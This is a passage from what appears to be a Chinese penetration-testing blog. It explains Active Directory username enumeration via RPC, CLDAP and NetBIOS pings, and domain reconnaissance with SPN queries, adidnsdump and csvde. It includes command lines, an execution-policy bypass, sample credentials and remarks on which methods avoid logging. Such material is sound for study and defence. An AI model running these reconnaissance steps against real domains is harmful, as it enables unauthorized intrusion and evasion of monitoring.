&lt;li&gt;512 是&lt;code&gt;AllowableAccountControlBits&lt;/code&gt;的值（参考&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/fb8e1146-a045-4c31-98d1-c68507ad5620?redirectedfrom=MSDN"&gt;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/fb8e1146-a045-4c31-98d1-c68507ad5620?redirectedfrom=MSDN&lt;/a&gt;），&lt;code&gt;0000000000000000000001000000000&lt;/code&gt;代表域用户&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以根据响应结果来进行判断：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;存在则返回一个结构体&lt;/li&gt;
&lt;li&gt;不存在则返回&lt;code&gt;WERR_NO_SUCH_USER&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面看抓包情况&lt;/p&gt;
&lt;p&gt;下面是&lt;code&gt;DsrGetDcNameEx2&lt;/code&gt;请求的参数，16进制的200就是512，代表域用户&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="https://s2.loli.net/2024/06/14/kirWHa4ZojGh5yM.jpg"&gt;&lt;/p&gt;
&lt;p&gt;用户存在会返回&lt;code&gt;success&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="asdasd" src="https://s2.loli.net/2024/06/14/Z12KFrCtRqT7MuN.png"&gt;&lt;/p&gt;
&lt;p&gt;用户不存在则返回&lt;code&gt;unknown&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="asdasd" src="https://s2.loli.net/2024/06/14/MSzI7JcLmYjB5hr.png"&gt;&lt;/p&gt;
&lt;p&gt;在抓取到的数据包中，可以看到如下数据包：&lt;/p&gt;
&lt;p&gt;&lt;img alt="asdasd" src="https://s2.loli.net/2024/06/14/2oBXnzbDZFLOEGr.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到空连接建立之后我们可以通过调用lsarpc命名管道上的&lt;code&gt;LsarQueryInformationPolicy2&lt;/code&gt;方法来获取域的SID&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="nv"&gt;@ubuntu&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rpcclient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;192.168.60.160&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;U&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lsaquery&amp;#39;&lt;/span&gt;

&lt;span class="k"&gt;Domain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DOMAIN2&lt;/span&gt;

&lt;span class="k"&gt;Domain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;Sid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1986246999&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2617435358&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1981060215&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;根据上面的分析编写一个&lt;a href="https://github.com/sensepost/UserEnum/blob/master/UserEnum_RPC.py"&gt;脚本&lt;/a&gt;，功能如下：&lt;/p&gt;
&lt;p&gt;使用impacket框架调用&lt;code&gt;DsrGetDcNameEx2&lt;/code&gt;方法，接收一个用户名列表，然后依次使用该列表中的用户针对远程主机（DC）调用&lt;code&gt;DsrGetDcNameEx2&lt;/code&gt;方法，根据返回结果来进行枚举&lt;/p&gt;
&lt;p&gt;使用上面这种直接调用RPC方法来枚举用户是有一定的局限性的的，因为如果目标DC使用&lt;code&gt;Network security: Restrict NTLM: Incoming NTLM traffic&lt;/code&gt;组策略禁用账户使用NTLM认证方式，那么直接调用RPC也就会失败&lt;/p&gt;
&lt;p&gt;该策略是在&lt;code&gt;Default Domain Controllers Policy&lt;/code&gt;中设置的&lt;/p&gt;
&lt;p&gt;&lt;img alt="1603173464262" src="https://s2.loli.net/2024/06/14/uKRYjdxiygHCMVS.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1603173729418" src="https://s2.loli.net/2024/06/14/w8RTZuWjM5mtVPv.png"&gt;&lt;/p&gt;
&lt;h2&gt;构造数据包进行枚举&lt;/h2&gt;
&lt;p&gt;为了加速枚举，我调查了一下&lt;code&gt;DsrGetDcNameEx2&lt;/code&gt;是如何工作的，该方法和&lt;code&gt;GetDcName&lt;/code&gt;, &lt;code&gt;DsrGetDcName&lt;/code&gt;, &lt;code&gt;DsrGetDcNameEx&lt;/code&gt;都可以根据提供的域名来定位到该域的DC&lt;/p&gt;
&lt;p&gt;这些方法会使用DNS、LDAP或者NetBIOS等方法获取域控制器在域内的位置&lt;/p&gt;
&lt;p&gt;他们的工作方式大致如下所述：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1、通过DNS查询或者NetBIOS广播提供的域名获取到域控制器的IP&lt;/li&gt;
&lt;li&gt;2、如果通过DNS获取到了域控制器的IP，则请求端会向DC发送一个&lt;code&gt;LDAP ping&lt;/code&gt;报文，如果通过NetBIOS获取到了DC的IP，会向DC发送一个&lt;code&gt;mailslot ping&lt;/code&gt;报文，这两个数据包都是通过UDP协议进行发送的，这两个报文中都有一个Filter，其实就是请求的一些参数&lt;/li&gt;
&lt;li&gt;3、DC检查自己是否符合这些要求并发送响应报文&lt;/li&gt;
&lt;li&gt;4、最后调用方法的系统会处理发送回来的响应报文&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;LDAP ping&lt;/h3&gt;
&lt;p&gt;发起调用的主机会向远程主机发送一个CLDAP报文（基于UDP，无连接），对于用户存在的情况，DC会向源主机返回操作码为23的报文，如果用户不存在则返回操作码25&lt;/p&gt;
&lt;p&gt;因此我需要自己构造出&lt;code&gt;CLDAP&lt;/code&gt;报文，Samba源代码中有一个&lt;a href="https://github.com/samba-team/samba/blob/master/examples/misc/cldap.pl"&gt;示例脚本&lt;/a&gt;，该脚本可以构造出这样的CLDAP报文&lt;/p&gt;
&lt;p&gt;根据那个示例脚本我写出了下面这个脚本： &lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/sensepost/UserEnum/blob/master/UserEnum_LDAP.py"&gt;https://github.com/sensepost/UserEnum/blob/master/UserEnum_LDAP.py&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;安装这个工具需要&lt;code&gt;asn1tools&lt;/code&gt;模块，安装的时候有需要安装&lt;code&gt;diskcache&lt;/code&gt;模块，但是使用&lt;code&gt;python2&lt;/code&gt;安装的时候他会出现错误，因为默认安装的是针对&lt;code&gt;python3&lt;/code&gt;的模块，因此需要指定&lt;code&gt;diskcache&lt;/code&gt;模块的版本&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pip install diskcache==4.1.0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;还有就是上面安装好之后还是会报错&lt;code&gt;ImportError: cannot import name WordCompleter&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后我们使用如下方式解决&lt;/p&gt;
&lt;p&gt;&lt;code&gt;python2 -m pip install scapy==2.4.0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;python2 -m pip install asn1tools==0.55.0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pip install prompt_toolkit==1 .0.15&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果运行的时候报下面的错误&lt;/p&gt;
&lt;p&gt;&lt;code&gt;asn1tools.codecs.EncodeError: protocolOp: typesOnly: Expected data of type bool, but got 0.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;则使用如下方法解决&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pip install asn1tools==0.100.0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;之前写的&lt;a href="https://github.com/sensepost/UserEnum/blob/master/UserEnum_RPC.py"&gt;脚本&lt;/a&gt;是直接调用的rpc方法，这种调用方法的方式相比较直接构造数据包发送请求的方式要慢很多&lt;/p&gt;
&lt;p&gt;我测试了一下，1万多个用户名，只用了10秒左右&lt;/p&gt;
&lt;p&gt;下面是抓的请求包&lt;/p&gt;
&lt;p&gt;&lt;img alt="asdasd" src="https://s2.loli.net/2024/06/14/gEDb1KZakQjmTLd.png"&gt;&lt;/p&gt;
&lt;p&gt;这里acc进行了映射，映射表是下面这俩：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/10bf6c8e-34af-4cf9-8dff-6b6330922863?redirectedfrom=MSDN"&gt;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/10bf6c8e-34af-4cf9-8dff-6b6330922863?redirectedfrom=MSDN&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/8a193181-a7a2-49df-a8b1-f689aaa6987c?redirectedfrom=MSDN"&gt;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/8a193181-a7a2-49df-a8b1-f689aaa6987c?redirectedfrom=MSDN&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;从第一个表中我们可以找到普通域用户也就是16进制的200，对应的是&lt;code&gt;UF_NORMAL_ACCOUNT&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;从第二个表中我们可以看到&lt;code&gt;UF_NORMAL_ACCOUNT&lt;/code&gt;对应的是&lt;code&gt;USER_NORMAL_ACCOUNT&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;USER_ACCOUNT&lt;/code&gt;在&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/b10cfda1-f24f-441b-8f43-80cb93e786ec?redirectedfrom=MSDN"&gt;这里&lt;/a&gt;可以找到， 可以看到&lt;code&gt;USER_NORMAL_ACCOUNT&lt;/code&gt;的值是&lt;code&gt;0x00000010&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;从上面wireshark抓的包我们可以看到显示的是&lt;code&gt;10:00:00:00&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这个不能直接读，细心的话你可以发现这里没有加&lt;code&gt;0x&lt;/code&gt;前缀，我们就必须将网络序（大端）转换成小端来读，转换之后就是&lt;code&gt;00:00:00:10&lt;/code&gt;，正好符合上面的映射&lt;/p&gt;
&lt;p&gt;后面我又在想我可以使用通配符来猜解用户名，比如&lt;code&gt;B*&lt;/code&gt;、&lt;code&gt;Bo*&lt;/code&gt;等，但是当我这样写的时候，构造出来的CLDAP包就&lt;strong&gt;无法正常响应&lt;/strong&gt;了&lt;/p&gt;
&lt;p&gt;我又捣鼓了一会儿，发现确实没办法实现这种功能，不过既然CLDAP可以达到这种爆破用户名的效果，那么NetBIOS呢？&lt;/p&gt;
&lt;p&gt;首先我使用rpcclient发起了一个&lt;code&gt;DsrGetDcNameEx2&lt;/code&gt;方法的调用，然后在wireshark中，我捕捉到了如下数据包:&lt;/p&gt;
&lt;p&gt;这里发起请求的机器为DC01（192.168.57.2），目标机器为black（192.168.57.120）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1、&lt;code&gt;57.2&lt;/code&gt;发送&lt;code&gt;NBNS&lt;/code&gt;广播报文，查询black这个名称&lt;/li&gt;
&lt;li&gt;2、&lt;code&gt;120&lt;/code&gt;向&lt;code&gt;57.2&lt;/code&gt;返回NBNS响应报文，其中包含自己的IP（&lt;code&gt;192.168.57.120&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;3、&lt;code&gt;57.2&lt;/code&gt;发送&lt;code&gt;SMB_NETLOGON&lt;/code&gt;广播报文（UDP），这里明明已经知道了black域的DC的IP却还要发送广播，我也不知道为啥&lt;/li&gt;
&lt;li&gt;4、&lt;code&gt;120&lt;/code&gt;发送&lt;code&gt;NBNS&lt;/code&gt;广播报文，查询DC01这个名称&lt;/li&gt;
&lt;li&gt;5、&lt;code&gt;57.2&lt;/code&gt;向120发送&lt;code&gt;SMB_NETLOGON&lt;/code&gt;报文&lt;/li&gt;
&lt;li&gt;6、&lt;code&gt;57.2&lt;/code&gt;向120返回&lt;code&gt;NBNS&lt;/code&gt;报文，报告自己的IP&lt;/li&gt;
&lt;li&gt;7、&lt;code&gt;120&lt;/code&gt;向&lt;code&gt;57.2&lt;/code&gt;返回&lt;code&gt;SMB_NETLOGON&lt;/code&gt;响应报文&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从以上的报文我们可以看出来，通信双方都发起了NBNS查询，而且查询的名称我们是可以控制的，响应的IP地址我们也可以控制（这个我们只能控制DC01），但是通信过程一直都是UDP，没有&lt;code&gt;SMB TCP&lt;/code&gt;报文，我们无法使用&lt;code&gt;Responder&lt;/code&gt;来利用，但是我发现至少可以利用这个来方法来中毒目标系统的NETBIOS名称-ip对应表缓存&lt;/p&gt;
&lt;h3&gt;mailslot ping&lt;/h3&gt;
&lt;p&gt;看完了ldap之后我们再来看一下NetBIOS&lt;/p&gt;
&lt;p&gt;可以使用这个&lt;a href="https://github.com/sensepost/UserEnum/blob/master/UserEnum_NBS.py"&gt;脚本&lt;/a&gt;枚举&lt;/p&gt;
&lt;p&gt;在运行该脚本的时候可能会遇到如下错误： &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;from&lt;span class="w"&gt; &lt;/span&gt;scapy.all&lt;span class="w"&gt; &lt;/span&gt;import&lt;span class="w"&gt; &lt;/span&gt;*

ImportError:&lt;span class="w"&gt; &lt;/span&gt;No&lt;span class="w"&gt; &lt;/span&gt;module&lt;span class="w"&gt; &lt;/span&gt;named&lt;span class="w"&gt; &lt;/span&gt;scapy.all
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;解决方法&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pip install scapy==2.4.3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;使用方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Python2&lt;span class="w"&gt; &lt;/span&gt;UserEnum_NBS.py&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.148&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.160&lt;span class="w"&gt; &lt;/span&gt;DOMAIN2&lt;span class="w"&gt; &lt;/span&gt;userlist.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;注意这里域名是NetBIOS名称，也就是大写字母，比如&lt;code&gt;domain.local&lt;/code&gt;在这里应该写成DOMAIN，注意这里写的并不是FQDN&lt;/p&gt;
&lt;p&gt;可以看到&lt;code&gt;netlogon&lt;/code&gt;的响应包&lt;/p&gt;
&lt;p&gt;&lt;img alt="asdasd" src="https://s2.loli.net/2024/06/14/ExerpXwqovgi52U.png"&gt;&lt;/p&gt;
&lt;p&gt;参考&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/07133ff2-a9a3-4aa9-8896-a7dcb53bdfe9"&gt;对照表&lt;/a&gt;，&lt;code&gt;0x17&lt;/code&gt; （十进制的23）表示&lt;code&gt;LOGON_SAM_LOGON_RESPONSE_EX&lt;/code&gt;而并不是&lt;code&gt;user unknown&lt;/code&gt;，这里应该是wireshark的问题，&lt;code&gt;LOGON_SAM_USER_UNKNOWN_EX&lt;/code&gt;应该是&lt;code&gt;0x19&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;因此操作码为&lt;code&gt;0x17&lt;/code&gt;说明用户存在&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;以上提到的三种方式中，CLDAP是最快的，其实次NetBIOS，最慢的是直接调用DsrGetDcNameEx2 方法，且前两者不会产生日志，最后一种方法会产生匿名登录日志&lt;/p&gt;
&lt;p&gt;这个是直接调用rpc方法产生的日志&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="https://s2.loli.net/2024/06/14/1zCBhQocAdvypsl.jpg"&gt;&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>域内信息搜集</title><link href="yu-nei-xin-xi-sou-ji.html" rel="alternate"></link><published>2020-08-10T00:00:00+02:00</published><updated>2020-08-10T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2020-08-10:yu-nei-xin-xi-sou-ji.html</id><summary type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;最近内网渗透的工作比较多，这里总结一下域内渗透的相关知识&lt;/p&gt;
&lt;p&gt;&lt;a href="https://wochinijiamile.blog.csdn.net/article/details/102793435"&gt;实验环境&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;SPN查询&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://adsecurity.org/?page_id=183"&gt;SPN名称及其对应的服务名称&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://gitee.com/wochinijiamile/smartya/blob/master/1.ps1"&gt;查询脚本&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;用法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;powershell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-executionpolicy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bypass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;amp; { import-module C:\Users\123\Desktop …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;最近内网渗透的工作比较多，这里总结一下域内渗透的相关知识&lt;/p&gt;
&lt;p&gt;&lt;a href="https://wochinijiamile.blog.csdn.net/article/details/102793435"&gt;实验环境&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;SPN查询&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://adsecurity.org/?page_id=183"&gt;SPN名称及其对应的服务名称&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://gitee.com/wochinijiamile/smartya/blob/master/1.ps1"&gt;查询脚本&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;用法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;powershell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-executionpolicy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bypass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;amp; { import-module C:\Users\123\Desktop\1.ps1; Discover-PSInterestingServices -OptionalSPNServiceFilter (\&amp;quot;Microsoft Virtual Console Service\&amp;quot;,\&amp;quot;Dfsr\&amp;quot;) }&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1600767947025" src="https://s2.loli.net/2024/06/14/EZxKo7aP1V2r6c3.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;\"Microsoft Virtual Console Service\",\"Dfsr\")&lt;/code&gt;这些是想要获取的服务名称，使用&lt;code&gt;,&lt;/code&gt;分割&lt;/p&gt;
&lt;p&gt;如果没有&lt;code&gt;OptionalSPNServiceFilter&lt;/code&gt;参数没有指定任何服务，那么默认就只搜索ftp服务&lt;/p&gt;
&lt;p&gt;要想找文件服务器，除了ftp服务之外，也可以尝试nfs服务&lt;/p&gt;
&lt;h1&gt;获取ADIDNS记录&lt;/h1&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/"&gt;https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ADIDNS——活动目录集成DNS，默认情况下，任何经过验证的域内用户都能够读取域内所有DNS记录&lt;/p&gt;
&lt;p&gt;&lt;img alt="1599827013655" src="https://s2.loli.net/2024/06/14/J7nb9OhBIvqkp5y.png"&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;a href="https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/"&gt;Dirk-jan Mollema&lt;/a&gt;大佬编写的工具&lt;a href="https://github.com/dirkjanm/adidnsdump"&gt;https://github.com/dirkjanm/adidnsdump&lt;/a&gt;即可非常方便地导出域内所有的DNS记录，使用方法如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;adidnsdump -u matrix.loc\qqq -p qwe123... corpdc1.matrix.loc -r
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;最后的结果会保存在当前目录下的&lt;code&gt;records.csv&lt;/code&gt;文件中，如果我们是使用socks等代理的方式进行记录的导出，可以通过&lt;code&gt;--dns-tcp&lt;/code&gt;标志，并将最后的HOSTNAME换成域控制器的IP即可&lt;/p&gt;
&lt;p&gt;&lt;img alt="1599976870248" src="https://s2.loli.net/2024/06/14/HQKFn7YRSqkycTe.png"&gt;&lt;/p&gt;
&lt;p&gt;由于DNS记录并不总是存在于&lt;code&gt;DomainDNSZones&lt;/code&gt;应用分区中，所以我们在导出DNS记录时应先使用&lt;code&gt;--print-zones&lt;/code&gt;参数打印出当前域所拥有的所有DNS区域以及他们所在的分区&lt;/p&gt;
&lt;p&gt;&lt;img alt="1600768218792" src="https://s2.loli.net/2024/06/14/ftBVI6pzH8WusNF.png"&gt;&lt;/p&gt;
&lt;p&gt;对于forest分区，需要在导出时加上&lt;code&gt;--forest&lt;/code&gt;选项，而对于legacy分区，则需要在导出时加上&lt;code&gt;--legacy&lt;/code&gt;，如下面两张图所示：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1600773502382" src="https://s2.loli.net/2024/06/14/PEiYwOdRIt43pZS.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1600773512094" src="https://s2.loli.net/2024/06/14/ysnlR3ewPhDgz4p.png"&gt;&lt;/p&gt;
&lt;p&gt;其中&lt;code&gt;legacy DNS zones&lt;/code&gt;是由低版本的域控制器升级产生的，比如windows 2000并没有应用分区这个概念，所以在升级之后就会存在于该分区，其DN一般为&lt;code&gt;DC=domain.local,CN=MicrosoftDNS,CN=System,DC=domain,DC=local&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;准确的DNS区域dn可以使用&lt;a href="https://github.com/Kevin-Robertson/Powermad.git"&gt;powermad&lt;/a&gt;查询&lt;/p&gt;
&lt;p&gt;在cmd下执行如下命令&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;powershell&lt;span class="w"&gt; &lt;/span&gt;-executionpolicy&lt;span class="w"&gt; &lt;/span&gt;bypass&lt;span class="w"&gt; &lt;/span&gt;-command&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;amp;{ import-module  C:\Users\administrator\Downloads\Powermad-master\powermad.ps1; Get-ADIDNSZone }&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="Capture" src="https://s2.loli.net/2024/06/14/jZ3lG96JPeztOAQ.png"&gt;&lt;/p&gt;
&lt;h1&gt;csvde导出域内信息&lt;/h1&gt;
&lt;p&gt;下载链接：&lt;a href="https://gitee.com/wochinijiamile/smartya/raw/master/csvde.exe"&gt;https://gitee.com/wochinijiamile/smartya/raw/master/csvde.exe&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;csvde导出域内信息会产生的日志&lt;/h2&gt;
&lt;p&gt;&lt;img alt="1598942789502" src="https://s2.loli.net/2024/06/14/dqiIG1u9vz3jFrH.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;首先产生事件ID为&lt;code&gt;4776&lt;/code&gt;的凭据验证日志，在这里可以看到执行导出操作的机器的hostname&lt;/li&gt;
&lt;li&gt;然后产生事件ID为&lt;code&gt;4672&lt;/code&gt;的特殊登录日志，为新登录的账户分配特殊权限，在这里可以看到登录账户拥有的权限，但是看不到源主机&lt;/li&gt;
&lt;li&gt;产生事件ID为&lt;code&gt;4624&lt;/code&gt;的登录日志，在这里可以看到源主机的hostname和IP乃至TCP连接的端口信息&lt;/li&gt;
&lt;li&gt;最后产生事件ID为&lt;code&gt;4634&lt;/code&gt;的注销日志，这里的信息比较少&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;基本参数说明和处理脚本的编写&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;csvde导出域有两种方式，一种是将csvde传入目标内网机器进行信息的导出，另一种是通过proxyfier代理进入目标内网来进行信息的导出&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;导出&lt;code&gt;uoiysdf.iuodsf.vi&lt;/code&gt;域的所有信息&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;-s指定远程域控制器IP&lt;/li&gt;
&lt;li&gt;-b指定导出数据使用的用户名，后面紧跟目标域名和用户密码&lt;/li&gt;
&lt;li&gt;-d指定目标BaseDN，形如：&lt;code&gt;"dc=uoiysdf,dc=iuodsf,dc=vi"&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;-m指定输出中不包含二进制数据，但是仍然会出现十六进制（&lt;strong&gt;这个可以使用python脚本进行处理&lt;/strong&gt;）的数据，多出现在description属性中（因为可能包含中文）&lt;/li&gt;
&lt;li&gt;-f指定输出文件&lt;/li&gt;
&lt;li&gt;-u指定unicode编码，不过貌似没有用
  导出的结果会存储到csv文件中，直接使用excel打开会显得比较混乱，推荐使用notepad++等专业编辑器打开&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;csvde -s 192.168.1.10 -b administrator uoiysdf.iuodsf.vi 43u96tgjirbtgpnk3w4o9-ip -d &amp;quot;dc=uoiysdf,dc=iuodsf,dc=vi&amp;quot; -m -f res.csv -u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;我们主要通过ldap过滤器来筛选出我们想要导出的数据&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.cnblogs.com/zouhao/p/4568025.html"&gt;ldap过滤器&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://gitee.com/wochinijiamile/smartya/raw/master/123232323232.zip"&gt;备份链接&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;python处理脚本（参考）：&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;#coding:utf-8&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;csv&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;codecs&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;binascii&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;argparse&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;code_convert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# bytes =&amp;gt; str  to display&lt;/span&gt;
